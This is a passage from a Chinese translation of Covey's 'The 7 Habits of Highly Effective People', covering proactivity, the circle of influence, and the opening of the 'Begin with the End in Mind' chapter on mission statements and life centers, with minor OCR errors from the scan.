———————————————————————————————————— ~ 132 ~ 因为他们两人正可取长补短,相辅相成,产生互补 的效果。 这位主管并非依靠客观的条件而成功,是正确 的抉择造就了他。有许多人与他处境相同,但未必 人人都会注重扩大个人的影响圈。 有人误以为“积极主动”就是胆大妄为、滋事 挑衅或目中无人,其实不然,积极处世者只是更为 机敏,更重视价值观,能够切乎实际,并掌握问题 的症结所在。 圣雄甘地就曾受到印度议员的抨击,因为他不 肯随声附和,和他们一起谴责大英帝国对印度人民 的奴役,而是亲自下乡,在田间与农民同甘共苦, 点滴做起,一步步扩大了在劳苦大众中的影响,最 后终于赢得全国人民的支持和信任。他一介布衣, 却凭着热忱和勇气,通过绝食抗议和道德说服的途 径使英国人屈服,让三亿人民摆脱了殖民统治,由 此充分显现了他能将影响圈扩大到极致的力量。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 133 ~ “如果"和“我可以" 一个人的关注圈与影响圈可以从他的言谈中看 出端倪,与关注圈相关的语句多半带有假设性质。 “要是我的房屋贷款付清了,我就没这么烦心 了。” “如果我的老板不这么独断专行„„” “如果孩子肯听话„„” “如果我学历更高„„” “如果我有更多属于自己的时间„„” 而与影响圈相关的语句则多半体现了这个人的 品德修养,例如“我可以更耐心、更明智、更体贴„„” 把外在环境视作问题症结的想法本身就成问题, 应该说是我们给了外部环境控制自己的权力,这种 “由外而内”求变的思维定式就是以外在环境改变 作为个人改变的先决条件。 积极的做法应该是“由内而外”地改变,即先 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 134 ~ 改变个人行为,让自己变得更充实,更具创造力, 然后再去施加影响,改变环境。 《旧约》里有段约瑟(Joseph)的故事。约瑟 l7 岁就被兄弟卖到埃及,成为埃及法老的护卫长波提 乏(Potiphar)的奴隶。面对同样的遭遇,任何人都 难免自怨自艾,并对出卖和奴役自己的人满腔怨愤, 但是约瑟却能够积极处世,专心磨炼自己,不久便 备受信任,帮助主人打理家事,掌管财产。 后来他遭人诬陷,身陷囹圄达 13 年之久,皆 因他坚持不肯出卖自己的良心。即便身处这样的困 境,他积极的态度依然不改,他从自身做起,时刻 想着‚我可以‛而不是‚如果‛,化悲愤为动力,没 多久就掌管了整座监狱,后来又掌管了整个埃及, 成为一人(法老)之下,万人之上的大人物。 我知道这种激烈的思维转换并非人人能及,毕 竟让他人或外界条件作替罪羊要容易得多。但是人 人都应该对自己的人生负责,应该为自己营造有利 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 135 ~ 环境,而不是坐等好运或噩运的降临。 婚姻出现裂痕的时候,只顾着揭发对方的过错 不但于事无补,而且这种强调“错不在我”的做法 本身就证明了你是个连自己都无法保护的受害者, 自然更谈不上影响对方。不断的指责不但无法使人 改过迁善,反而会令人恼羞成怒。 真正有效的策略应从自身能控制的方面着手, 也就是先改进自己的缺失,努力成为模范妻子或丈 夫,给予对方无条件的爱与支持。我们当然也盼望 能感受这份苦心,进而改善自己的行为。不过对方 的反应如何,并非重点所在。 除了好丈夫、好妻子,我们何妨试着做个好学 生或好职员。如果遇上实在无能为力的状况,保持 乐观进取的心情仍是上上策,不管快乐或不快乐, 同样积极主动。有些事物不是人力所能控制,比方 说天气,但我们仍可保持内心或外在环境的愉悦气 氛。对力不能及之事处之泰然,对能够掌握之事则 全力以赴。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 136 ~ 手杖的另一头——必然后果 在把生活中心由关注圈移至影响圈之前,有两 件关注圈内的事值得深思,那就是自由选择的后果 以及错误。 每个人都可以选择自己的行为与回应,但后果 仍由自然法则决定,非人力所能左右。比如我们可 以选择一步跨到高速行驶的火车的正前方,但是与 火车冲撞的后果却在影响圈外。又比如有些经商者 喜欢玩弄手段,瞒天过海,由此产生的社会后果取 决于事情是否败露,然而人格污点却无论如何都难 以消除。 原则制约我们的行为,顺之则产生积极效果, 逆之则导致消极后果。所以说我们在享有选择的自 由的同时,也必须承担随之而来的后果,就好像“拾 起手杖的一头,也就拾起了手杖的另一头”。 人的一生中,错误的选择常常发生,其后果让 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 137 ~ 人悔不当初,却又无能为力,于是想象着如果再有 一次机会,必会另作他选,这是值得我们深思的第 二件事。 对于已经无法挽回的错误,积极主动的人不是 悔恨不已,而是承认往日错误已属关注圈的事实, 那是人力无法企及的范畴,既不能从头来过,也不 能改变必然后果。 我有一个儿子是校橄榄球队的四分卫,他已经 学会把过去的错误丢到脑后。每当他或队友犯了重 大错误,他都会‚吧嗒‛一声打开表带,然后再扣 上——以示相关记忆已被清除出脑海,从此轻装上 阵,不让这个错误影响到后面的决策和比赛。 对待错误的积极态度应是马上承认,改正并从 中吸取教训,这样才能真正反败为胜。正如俗语说 “失败是成功之母”。 如果犯了错却不肯承认和改正,也不从中吸取 教训,等于错上加错,自欺欺人。文过饰非,强词 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 138 ~ 夺理无异于一错再错,结果是越描越黑,给自己带 来更深的伤害。 实际上伤我们最深的,既不是别人的所作所为, 也不是自己所犯的错误,而是我们对错误的回应。 就仿佛被毒蛇咬后,一心忙着抓蛇只会让毒性发作 更快,倒不如尽快设法排出毒液。 我们对任何错误的回应都会影响到下一刻发生 的事件,所以一定要立刻承认并加以改正,避免殃 及后来,而且我们的力量也会由此得到恢复。 做出承诺,信守诺言 影响圈的核心就是做出承诺与信守诺言的能力。 积极主动的本质和最明白的表现就是对自己或别人 有所承诺,然后从不食言。 承诺也是成长的精髓。自我意识与良知的天赋 让我们能够自我检讨,发现有待改进的地方、有待 发挥的潜能以及有待克服的缺点,然后想象力与独 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 139 ~ 立意志的天赋会配合自我意识,帮我们做出承诺, 确立目标,矢志达成。 由此就找到了两种能够直接掌控人生的途径: 一是做出承诺,并信守诺言;二是确立目标,并付 诸实践。即便只是承诺一件小事,只要有勇气迈出 第一步,也有助于培育内心的诚信,这表示我们有 足够的自制能力、勇气和实力承担更多的责任。一 次次做出承诺,一次次信守诺言,终有一天荣誉会 超越情绪的力量。 做出承诺与信守诺言正是培养高效能习惯的根 本力量。知识、技巧和意愿都位于影响圈内,改善 其中任何一项都会改善三者之间的平衡,三者的交 集越大,就说明我们对于习惯及其原则的修养越完 善,就越能够以崇高的品德实现平衡而高效能的生 活。 积极主动:为期 30 天的试验 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 140 ~ 我们不一定非要像弗兰克尔那样,在经历了死 亡集中营的遭遇以后才开始认识并培养积极主动的 精神,日常生活的种种琐事同样可以训练我们养成 积极主动的习惯,以应付人生的巨大压力。具体表 现在我们如何做出和信守承诺,如何面对交通阻塞, 如何应对顾客的无理要求或是孩子的叛逆行为,如 何看待自己的问题,把精力集中在哪些事情上以及 使用什么样的语言。 各位不妨用 30 天的时间亲身实践积极主动的 原则,观其结果。这期间请把全部精力投放到影响 圈内,从各种小事开始,许下承诺并予以兑现。学 会做照亮他人的蜡烛,而不是评判对错的法官;以 身作则,而不是一心挑错;解决问题,而不是制造 事端。 在婚姻、家庭和工作中,都可以试行这个原则。 不要总是怨天尤人或文过饰非,犯了错误,就要马 上承认,改正并从中吸取教训,致力于影响圈内的 事情,从自我做起。 对于别人的缺点,不要一味指责。别人是否履 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 141 ~ 行职责并不重要,重要的是自己的态度。如果你一 直认为问题“存在于外部”,那么请马上打住,因为 这种想法本身就是问题。 如果能对选择的自由加以善用,那么假以时日, 自由的范围会越来越大,反之就会越来越小,直到 只能够“被动生存”,即按照他人——父母、同事和 社会——的意志生活。 我们要对独立意志的天赋善加利用,对自己的 效能和幸福负责,对身边的环境负责,这是后面每 一个习惯的基础。 塞缪尔.约翰逊(samuel Johnson,英国辞典编 纂家兼作家——译注)曾说:“满意源自内心,那些 对人性一无所知的人总是妄图在维持自我的前提下 追求幸福,结果必是徒劳无功,而本来想摆脱的痛 苦却会与日俱增。” 付诸行动 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 142 ~ 1.用一整天的时间,听自己和周围的人说话, 注意看是否常有‚但愿‛、‚我办不到‛或‚我不得 不‛等消极的语言出现。 2.想一想近期是否会发生一些按照以前的习 惯你会消极对待的事情?它是否在你的影响圈之内? 你应如何以积极主动的原则应对?在心里演练一下 积极的应对方式;提醒自己刺激与回应之间存在空 间;向自己承诺,要抓住选择回应的自由。 3.找出一个工作或生活中令你备感挫折的问 题,判断它属于直接控制、间接控制还是无法控制 的问题,然后在影响圈内找出解决问题的第一个步 骤,并付诸行动。 4.试行积极主动的原则 30 天,观察自己的影 响圈有何变化。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 143 ~ 第四章 习惯二 以终为始 ——自我领导的原则 太多人成功之后,反而感到空虚;得到名利之 后,却发现牺牲了更可贵的事物。因此,我们务必 掌握真正重要的愿景,然后勇往直前坚持到底,使 生活充满意义。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 144 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 145 ~ 和内在力量相比,身外之物显得微不足道。 ——奥利弗·温德尔·霍姆斯(Oliver Wendell Hohnes)前美国最高法院大法官 阅读下面的内容时,请找个僻静的角落,抛开 一切杂念,敞开心扉,跟着我走过这段心灵之旅。 假设你正在前往殡仪馆的路上,要去参加一位 至亲的丧礼。抵达之后,居然发现亲朋友好齐集一 堂,是为了向你告别。也许这是三五年,甚至许久 之后的事,但姑且假定这时亲族代表、友人、同事 或社团伙伴,即将上台追述你的生平。 现在请认真想一想,你希望人们对你以及你的 生活有什么样的评价?你是个称职的丈夫、妻子、父 母、子女或亲友吗?你是个令人怀念的同事或伙伴吗? 你希望他们怎样评价你的人格?你希望他们回忆起 你的哪些成就和贡献?你希望对周围人的生活施加 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 146 ~ 过什么样的影响? 在继续阅读之前,请大致记下你的回答和感受, 这有助于你对习惯二的理解。 “以终为始"的定义 如果你认真走过了上述心灵之旅,那你已经短 暂触及了内心深处的某些基本价值观,也和位于影 响圈核心的内心指导体系建立了联系。 请思考约瑟夫·爱迪生(Joseph Addison)的话: 当我面对伟大人物的墓地,妒忌之心荡然无存; 当我阅读历代佳丽的碑文,贪婪的欲望顿然消失; 当我在墓碑旁遇见泣不成声的父母,禁不住悲从中 来;当我看到父母的坟墓,忍不住想到那些自己将 追随的人的悲伤的空虚;当我看到王者与其废黜者 的墓碑并肩而立,生前为不同观点唇枪舌剑的文人 墨客的遗体相邻而居,不禁感到那些内讧、派系斗 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 147 ~ 争、人间是非的渺小。再查看墓碑上的日期,发现 有些就在昨日,有些却可追溯到 600 年前,于是又 忍不住想到最后审判日那天,我们都将同时接受上 帝的审判。 虽然习惯二适用于不同的环境和生活层面,但 最基本的应用,还是应该从现在开始,以你的人生 目标作为衡量一切的标准,你的一言一行,一举一 动,无论发生在何时,都必须遵循这一原则,即由 个人最重视的期许或价值观来决定一切。牢记自己 的目标或者使命,就能确信日常的所作所为是否与 之南辕北辙,而且每天都向着这个目标努力,不敢 懈怠。 以终为始说明在做任何事之前,都要先认清方 向。这样不但可以对目前处境了如指掌,而且不至 于在追求目标的过程中误入歧途,白费工夫。毕竟 人生旅途的岔路很多,一不小心就会走冤枉路,许 多人拼命埋头苦干,到头来却发现追求成功的梯子 搭错了墙,但是为时已晚,所以说忙碌的人未必出 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 148 ~ 成果。 很多人功成名就之后,反而感到空虚,发现自 己牺牲了许多更宝贵的东西。上至达官显贵、富豪 巨贾,下至平头百姓、凡夫俗子,无一不在追求更 多的财富、更大的势力或更高的声望,可是却常常 被名利蒙蔽了良知,为成功付出昂贵的代价。所以 明确真正的目标很重要,然后才好勇往直前,坚持 到底,实践使命。 你希望在盖棺定论时获得的评价,才是你心目 中真正渴望的成功。这样看来,我们梦寐以求的名 利、成就和财富可能根本就不是我们所要的。 若能先定目标,你的洞察力会大大改善。有这 么一则小故事,葬礼上有人问死者的朋友:“他留下 了多少遗产?”对方回答:“他什么也没带走。” 任何事物都需要两次创造 “以终为始”的一个原则基础是“任何事都是 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 149 ~ 两次创造而成”。我们做任何事都是先在头脑中构思, 即 智 力 上 的 或 第 一 次 的 创 造 (Mental / First Creation),然后付诸实践,即体力上的或第二次的 创造(Physical/Second Creation)。 以建筑为例,在拿起工具建造之前,必须先有 详尽的设计图;而绘出设计图之前,须先在脑海中 构思每一细节。有了设计图,然后有施工计划,这 样按部就班,才能完成建筑。假使设计稍有缺失, 弥补起来,可能就事倍功半。设计蓝图代表愿景, 整个建筑过程均以它为准绳,因此宁可事先追求尽 善尽美,以免亡羊补牢。 创办企业也是如此,要想成功,必须先明确目 标,根据目标来确定企业的产品或服务,然后整合 资金、研发、生产、行销、人事、厂房、设备等各 方面的资源,朝既定目标奋力前行。“以终为始”往 往是企业的成功关键,许多企业都败在第一次创造 ——事先缺乏明确目标,以致资金不足,规划不周 或对市场情况的解读有误。 教育子女也要先定目标,才可能培养出既自律 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 150 ~ 又有责任感的子女,在日常相处中牢记这个目标, 不要做出任何有损他们自律或自尊的举动。 以终为始的原则适用范围极广。明白了两次创 造的道理,把制定目标看得与实践本身同样重要, 影响圈就会日益扩大,反之就会日益缩小。 主动设计还是被动接叐 “任何事物都是两次创造而成”是个客观原则, 但“第一次的创造’’未必都是经过有意识的设计。 有些人自我意识薄弱,不愿主动设计自己的生活, 结果就让影响圈外的人或事控制了自己,其生活轨 迹屈从于家庭、同事、朋友或环境的压力。如果说 人生是一出戏,那么这些人的人生剧本就源于早年 的经历、所接受的教育或外界条件的制约。 这类剧本大多源自个人喜好,不符合客观原则, 之所以会被接受,那是因为某些人内心脆弱,依赖 心理过重,渴望被接纳和获得归属感,向往他人的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 151 ~ 关怀和爱护,而且一定要让别人来肯定自己的价值 和重要性。 无论你是否意识到,是否能够控制,生活的各 个层面都存在第一次的创造。每个人的人生都是第 二次的创造,或者是自己主动设计的,或者是外部 环境、他人安排、旧有习惯限定的。自我意识、良 知和想象力这些人类的独特天赋让我们能够审视各 种第一次的创造,并掌控自己的那一部分,即自己 写自己的剧本。换句话说,习惯一谈的是“你是创 造者”,习惯二谈的是“第一次创造”。 领导与管理:两次创造 “以终为始”的另一个原则基础是自我领导, 但领导(IJeadership)不同于管理(Manageinent)。 领导是第一次的创造,必须先于管理;管理是第二 次的创造,会在第三个习惯中谈到。 领导与管理就好比思想与行为。管理关注基层, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 152 ~ 思考的是“怎样才能有效地把事情做好”;领导关注 高层,思考的是“我想成就的是什么事业”。用彼 得·德鲁克(Peter Drucker)和华伦·贝尼斯(waⅡ en Bennie。)的话来说:“管理是正确地做事,领导 则是做正确的事。”管理是有效地顺着成功的梯子往 上爬,领导则判断这个梯子是否搭在正确的墙上。 要理解两者的区别并不难。要理解两者间的这 一区别不难。想象一下,一群工人在丛林里清除矮 灌木。他们是生产者,解决的是实际问题。管理者 在他们后面拟定政策,引进技术,确定工作进程和 补贴计划。领导者则爬上最高那棵树,巡视全貌, 然后大声嚷道:“不是这块丛林!” 而忙碌的生产者和管理者会怎么回答呢?“别嚷 啦,我们正干得起劲呢。” 很多个人、团队和企业都是这样埋头猛砍,却 意识不到他们要砍的并非这片丛林。当今世界日新 月异,更突出了有效领导的重要性,无论你身处在 独立期还是互赖期。与路线图相比,我们更加迫切 需要的是一个愿景或目的地以及指路的罗盘(一套 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 153 ~ 原则或指导方针)。世事难料,没人可以预见未来, 一切都要靠自己的判断,而内心的罗盘则能够使你 判断正确。 成功,甚至求生的关键并不在于你流了多少血 汗,而在于你努力的方向是否正确,因此无论在哪 个行业,领导都重于管理。 对企业来说,市场瞬息万变,积极的领导者必 须紧盯商业环境的变化,特别是消费者购买习惯和 购买心理以及员工队伍的变化,以便合理整合企业 资源,拨正企业的发展方向。如果缺乏有效的领导, 即使是高效率的管理,也只不过像在“泰坦尼克号 上拉开躺椅”一样徒劳无功。再成功的管理也无法 弥补领导的失败,而领导难就难在常常陷于管理的 思维定式而难以自拔。 记得我曾在西雅图负责一个为期一年的主管 进修课程,在最后一堂课上,一家石油公司的总裁 跟我谈到他个人的学习心得: [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 154 ~ ‚史蒂芬,你在第二个月指出领导与管理的差 异之后,我就立即检讨了自己的角色,结果发现我 根本不曾领导,而是每天都忙着管理,搞得焦头烂 额,于是我决定把管理工作交给别人,自己则退出 来,专心把握公司方向。‛ ‚这实在不容易!放下那些迫在眉睫的公务让 我十分痛苦,因为解决紧急事务更能给我一种成就 感。相比之下,苦思如何领导公司,如何建立企业 文化,如何掌握先机以及深入分析问题真是让我头 疼。我手下的管理人员也很不习〃N-,他们无法再 把难题推给我,所以日子更难过了。不过我决心坚 持到底,因为我认定了自己必须做个领导者。现在 我做到了,整个公司也脱胎换骨,我们更能适应环 境变化,公司的营业额翻了一番,利润则增长了四 倍,我真正发挥了领导的力量。‛ 个人生活中的领导意识更为匮乏,很多人连自 己的价值观都没有搞清楚,就忙于提高效率,制定 目标或完成任务。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 155 ~ 我相信为人父母者也难免会走人类似的管理误 区,只想到规矩、效率与控制,忽略了目的、方向 与亲情。 改写人生剧本:成为自己的第一次创造者 正如前面所说,人类的自我意识天赋是积极处 世的基础,另两项天赋,想象力和良知,则使我们 能在生活中发扬积极精神,施行自我领导。 想象力能让我们在心里演练那些尚未释放的潜 能;良知能让我们遵循自然法则或原则,发挥自己 的独特才智,选择合适的贡献方式,再有就是确定 自己的指导方针以便将上述能力付诸实践;而想象 力、良知、自我意识的结合则能让我们编写自己的 人生剧本。 每个人在成长过程中都承袭了许多来自他人的 “人生剧本”,因此更确切一点说,我们是改写,而 不是编写人生剧本,即对已有思维的转换。当我们 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 156 ~ 认识到人生剧本的低劣以及思维定式的低效,就会 积极地加以改写。 已故埃及总统萨达特(Anwar Sadat)的自传, 讲述了一个最令人振奋的改写人生剧本的故事。萨 达特是在仇恨以色列的环境中长大成人的,一度以 仇恨以色列来调动民众的意志。这个剧本有很强的 独立性和浓厚的民族主义,但它也是愚蠢的,忽视 了当今世界相互依存的事实。萨达特也知道这一点。 于是,萨达特决心改写自己的人生剧本。因为 参与推翻法鲁克国王,他被关进了监牢。在那里, 他学会了从旁观者的角度来观照自己,反躬自省, 改造自我。 当终于成为埃及总统时,他改变了自己对以色 列的态度。他访问了耶路撒冷的以色列国会,开启 世界历史上最勇于突破先例的和平运动,而这一大 胆的行为最终产生了戴维营协议。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 157 ~ 萨达特利用他的独立意识、想象力和良知进行 自我领导,改写了自己的‚人生剧本‛,影响了数百 万人的生活。 当我们因袭的“人生剧本”有违我们的生活目 标时,我们能够利用想象力和创造力书写新的剧本, 它将更为符合我们内在的价值观。 假设我是一位严厉的父亲,每当子女做出令我 反感的行为,立刻会火冒三丈,把教训子女的真正 目的抛诸脑后;拿出做父亲的权威,迫使子女屈服。 在眼前的冲突中我固然得胜,亲子关系却出现裂痕。 孩子表面顺从,但口服心不服,受到压抑的情绪, 日后会以更糟的形式表现出来。 让我们再回到本章一开始提到的实验。在我的 丧礼上,子女齐集一堂,表达孝思。我期望他们个 个都很有教养,满怀对父亲的爱,而不是与父亲起 冲突的创痛。但愿他们心中所充满的是往日美好的 回忆,记得老爸曾与他们同甘共苦过。我所以有这 些期望,因为我重视子女、爱护子女,以做他们的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 158 ~ 父亲为傲。 但在实际生活中,却不一定时时牢记这些,表 面对孩子的态度并不能真正反映我心底的情感,因 为繁复的事务扰乱了我的方向。 好在这个缺点并非无法克服。我可以排除外来 不合宜的价值观与其他制约,由此建立自己的价值 观与方向,和对生命的负责,来改写人生剧本,让 自己的人生真正符合自己的意愿。 以终为始意味着要带着清晰的方向和价值观来 扮演自己的家长角色或其他角色,要为自己人生的 第一次创造负责,为改写自己的人生剧本负责,从 而使决定行为和态度的思维定式真正符合自己的价 值观和正确原则。 它还意味着我们每天都要牢记这些价值观,因 为这会让我们保持积极主动的态度,以价值观为行 动准则,一旦生活有变,就可以根据个人价值观决 定因应之道,无须受制于情绪或外界环境。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 159 ~ 个人使命宣言 以终为始最有效的方法,就是撰写一份个人使 命宣言,即人生哲学或基本信念。宣言主要说明自 己想成为怎样的人(品德),成就什么样的事业(贡献 和成就)及为此奠基的价值观和原则。宣言的内容与 形式可以因人而异,以我朋友罗尔夫·科尔(R。lfe Kerr)的为例: ◆家庭第一。 ◆借重宗教的力量。 ◆在诚信问题上决不妥协。 ◆念及相关的每一个人。 ◆未听取正反双方意见,不妄下断语。 ◆征求他人意见。 ◆维护不在场的人。 ◆诚恳但立场坚定。 ◆每年掌握一种新技能。 ◆今天计划明天的工作。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 160 ~ ◆利用等待的空闲时间。 ◆态度积极。 ◆保持幽默感。 ◆生活与工作有条不紊。 ◆别怕犯错,怕的是不能吸取教训。 ◆协助属下成功。 ◆多请教别人。 ◆专注于当前的工作,不为下一次任务或提升 瞎操心。 另一位兼顾家庭与事业的妇女的个人使命宣 言则不同: ◆我努力兼顾事业与家庭,因为两者对我来说 都很重要。 ◆家庭是平安、祥和与幸福的地方,我要以智 慧来创造整洁温馨的环境,衣食住行要巧安排,特 别重要的是要教导子女善良、进取与乐观,还要培 养他们的特长。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 161 ~ ◆珍惜民主社会的权利、自由和责任,我要成 为关心社会的市民,参与政治和选举以表达自己的 意见。 ◆自强自立,积极处世,追求人生目标;主动 抓住机遇、应对环境,而不是消极被动。 ◆避免养成恶习,不断完善自己,提高自己的 能力。 ◆金钱是人的奴隶而非主人。我要逐步实现经 济独立,量入为出,除了车、房的长期贷款,不为 日常消费品借款,还要定期储蓄或利用部分收入做 投资。 ◆我愿意参与志愿服务和慈善捐款,奉献金钱、 才智以改善他人的生活。 你可以把个人使命宣言称为个人宪法。对于个 人来说,基于正确原则的个人使命宣言也同样是评 价一切的标准,成为我们以不变应万变的力量源泉。 它既是做出任何关键抉择的基础,也是在千变万化 的环境和情绪下做出日常决策的基础。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 162 ~ 只要心中秉持着恒久不变的真理,就能屹立于 动荡的环境中。因为一个人的应变能力取决于他对 自己的本性、人生目标以及价值观的不变信念。 确立了个人使命宣言之后,我们就能随机应变, 不必带着成见或偏见来对事态妄加推断,也不必因 循守旧地给各种事物定性分类,这样自然能保持一 份安全感。 我们的个人环境也在以前所未有的速度发生变 化,快得让许多人都难以适应,只好选择退缩或放 弃,坐等好运降临。 其实大可不必如此。弗兰克尔在纳粹死亡集中 营里,不仅领悟到积极主动的原则,还体会到了目 标和生命意义的重要性。后来他倡导了一种“标记 疗法”(Logotherapy),基本原理就是:许多心智或 情感疾病都是由于失落感或空虚感作祟,而标记疗 法可以帮助病人找回生命的意义与使命感,以祛除 这些感觉。 有了使命感,你就同时拥有了积极主动的要素, 指导生活的愿景和价值观,长期和短期目标以及正 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 163 ~ 确的方向。使命感还会赐予你基于正确原则的书面 宪法,让你能够据此高效能地利用时间、精力和才 能。 核心区 制订个人使命宣言必须从影响圈的核心开始, 基本的思维定式就在这里,即我们用来观察世界的 “透镜”。 我们要在此处确立自己的愿景和价值观;利用 自我意识检查我们的地图或思维定式是否符合实际, 是否基于正确的原则;利用良知作为罗盘来审视我 们独特的聪明才智和贡献手段;利用想象力制定我 们所渴求的人生目标,确定奋斗的方向和目的,搜 罗使命宣言的素材。 当我们专注于这个核心,并取得丰硕成果的时 候,影响圈就会被扩大,这是最高水平的产能,会 有力提高我们在各生活领域的效能。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 164 ~ 这个核心,还是安全感、人生方向、智慧与力量 的源泉。 (见图 4-1) “安全感” 代表价值观、认 同、情感的归属、 自尊自重与是否 拥有个人的基本 能力。 “人生方向” 是“地图”和内心的准绳,人类以此为解释外界事 物的理据以及决策与行为的原则和内在标准。 “智慧”是人类对生命的认知、对平衡的感知 和对事物间联系的理解,包括判断力、洞察力和理 解力,是这些能力的统一体。 “力量”则指采取行动,达成目标的能力,它 是做出抉择的关键性力量,也包括培育更有效的习 惯以替代顽固旧习的能力。 它们相辅相成——安全感与明确的人生方向可 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 165 ~ 以带来真正的智慧,智慧则能激发力量。若四者全 面均衡,且协调发展,便能培养高尚的人格、平衡 的性格与完美的个体。 这四者相辅相成,安全感与明确的方向可以带 来智慧,智慧则能激发行动。若四者十分健全且均 衡发展,便能产生高尚的人格、平和的个性与完美 正直的个体。 一个人的安全感一定介于极度不安全和极度安 全之间,前者说明你的生活总是被变化莫测的外力 所干扰和左右,后者说明你对于自己的真正价值有 着清晰而深刻的认识;人生方向也有两个极端,一 个是以“社会之镜”及其他不确定的变化性因素为 基础,一个是以坚实的内在方向为基础;智慧则一 端是完全扭曲事实的错误地图,一端是所有事物和 原则都适度关联的正确地图;就力量来说,最低层 次是成为别人手中的提线木偶,事事由人,最高层 次就是完全依照自己的价值观行事,不受外人和外 界的干扰。 这四者的成熟程度,它们之间的平衡、协调和 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 166 ~ 整合的情况,它们对生活各方面的积极影响,都取 决于你的基本思维定式。 各种生活中心 不论你是否意识得到,人人都有生活中心,它 们对生活各方面的强烈影响毋庸置疑。 下面几种生活中心可以帮助我们理解它们是如 何影响上述四个因素和我们的生活的。 以配偶为中心 婚姻可说是最亲密持久、最美好 可贵的人际关系,因此以丈夫或妻子为生活重心, 再自然不过了。 但根据我多年来担任婚姻顾问的经验,以配偶 为重心的婚姻关系,多半发生情感过度依赖的问题。 太过于重视婚姻,会使人的情感异常脆弱,经不起 些许打击,甚至无法面对如新生儿降临或经济窘迫 等变化。 婚姻会带来更多的责任与压力,一般人通常根 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 167 ~ 据以往所受的教养来应付。然而两个背景不同的人, 思想必定有差异,于是乎理财、教养子女、婆家或 岳家的问题,都会引起争执。若再加上其中一方情 感难以独立,这桩婚姻便岌岌可危。 如果我们一方面在情感上依赖对方,一方面又 与对方有所突击,就极易陷入爱恨交织、进退失据 的矛盾中。为了保护自己,便更加退缩及排斥对方。 于是,冷嘲热讽代替了真实的感受,感情用事的结 果是失去了方向、智慧与力量。纵使表面似乎保住 了安全感,实则不然。 以家庭为中心 以家庭为重的现象也十分普遍, 而且似乎理所当然。家的确带来爱与被爱、同甘共 苦以及归属的感觉,但过分重视家庭,反而有害家 庭生活。 太仰赖家庭提供安全感及价值感,太重视家族 传统与名誉,通常无法接受任何可能影响这些传统 与声誉的改变。以家庭为重的父母,不能为子女的 真正幸福着想,他们的爱往往是有条件的。结果若 非导致子女更为依赖,就是变得叛逆。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 168 ~ 以金钱为中心 谁也无法否认钱的重要,经济上 的安全感也是人类最基本的需求之一,因此追求财 富无可厚非。但若唯利是图,往往得不偿失。 如果一个人的安全感与价值观完全建立在金钱 的多寡上,势必寝食难安,因为影响财富的变数太 多,任何一个闪失都令人承受不起。但是钱却不能 带来智慧或指引生命的方向,只能提供有限的力量 与安全感。 有人为了逐利,不惜将家庭及其他重要事物摆 在一边,而且以为别人都认同这种做法。我认识一 位可敬的父亲,准备带子女出游时,忽然接到公司 要求加班的电话,但是他回绝了,因为“工作还会 再来,童年却只有一次”。这一幕深深印在子女脑海 里,永志不忘。 以工作为中心 只知埋头苦干的“工作狂”,即 使牺牲健康、婚姻、家庭与人际关系也在所不惜。 他的生命价值只在于他的职业或工作——医生、作 家或演员„„ 正因为他们的自我认同和自我价值观都以工作 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 169 ~ 为基础,所以一旦无法工作,便失去了生活的意义。 任何妨碍工作的因素都很容易影响到他们的安全感; 他们的人生方向取决于工作需要;而智慧和力量也 只限于工作领域,无益于其他生活领域。 以名利为中心 许多人深受占有欲驱使,不仅想 把汽车、豪宅、游艇、珠宝、华服等这些有形的物 质据为己有,对于那些无形的名誉、荣耀与社会地 位也不肯放过。很多人都从亲身经历中知道名利并 不可靠,很可能会瞬间落空,同时受诸多因素影响。 必须靠名利与物质来肯定自我的那些人,必定 